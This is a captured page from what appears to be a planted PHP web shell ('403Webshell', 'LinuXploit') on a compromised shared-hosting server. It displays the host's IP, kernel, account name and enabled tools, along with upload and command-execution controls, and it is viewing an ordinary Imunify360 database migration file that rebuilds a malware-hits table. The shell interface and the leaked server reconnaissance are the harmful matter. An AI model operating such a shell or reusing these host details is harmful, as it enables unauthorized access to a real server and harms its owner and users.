403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.142.12.31
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/opt/imunify360/venv/lib64/python3.11/site-packages/defence360agent/migrations/143_malware_hit_cascade_delete.py
import peewee


class MalwareScan(peewee.Model):
    class Meta:
        db_table = "malware_scans"

    scanid = peewee.CharField(primary_key=True)


class MalwareHit(peewee.Model):
    class Meta:
        db_table = "malware_hits"

    id = peewee.PrimaryKeyField()
    scanid = peewee.ForeignKeyField(
        MalwareScan, null=False, related_name="hits", on_delete="CASCADE"
    )
    user = peewee.CharField(null=False)
    orig_file = peewee.BlobField(null=False)
    type = peewee.CharField(null=False)
    malicious = peewee.BooleanField(null=False, default=False)
    vendor = peewee.CharField(null=False, default="ai-bolit")
    hash = peewee.CharField(null=True)
    size = peewee.CharField(null=True)
    timestamp = peewee.FloatField(null=True)
    status = peewee.CharField(default="found")
    cleaned_at = peewee.FloatField(null=True)

    @classmethod
    def get_field_names(cls):
        return map(lambda field: field.column_name, cls._meta.sorted_fields)


def migrate(migrator, database, fake=False, **kwargs):
    migrator.sql("ALTER TABLE malware_hits RENAME TO malware_hits_old;")
    migrator.create_model(MalwareHit)
    # specify fields order directly, because '*' doesnt guarantee order
    malware_hit_fields = ",".join(MalwareHit.get_field_names())
    migrator.sql(
        "INSERT INTO malware_hits ({0}) SELECT {0} FROM malware_hits_old;"
        .format(malware_hit_fields)
    )
    migrator.sql("DROP TABLE malware_hits_old;")


def rollback(migrator, database, fake=False, **kwargs):
    pass

Youez - 2016 - github.com/yon3zu
LinuXploit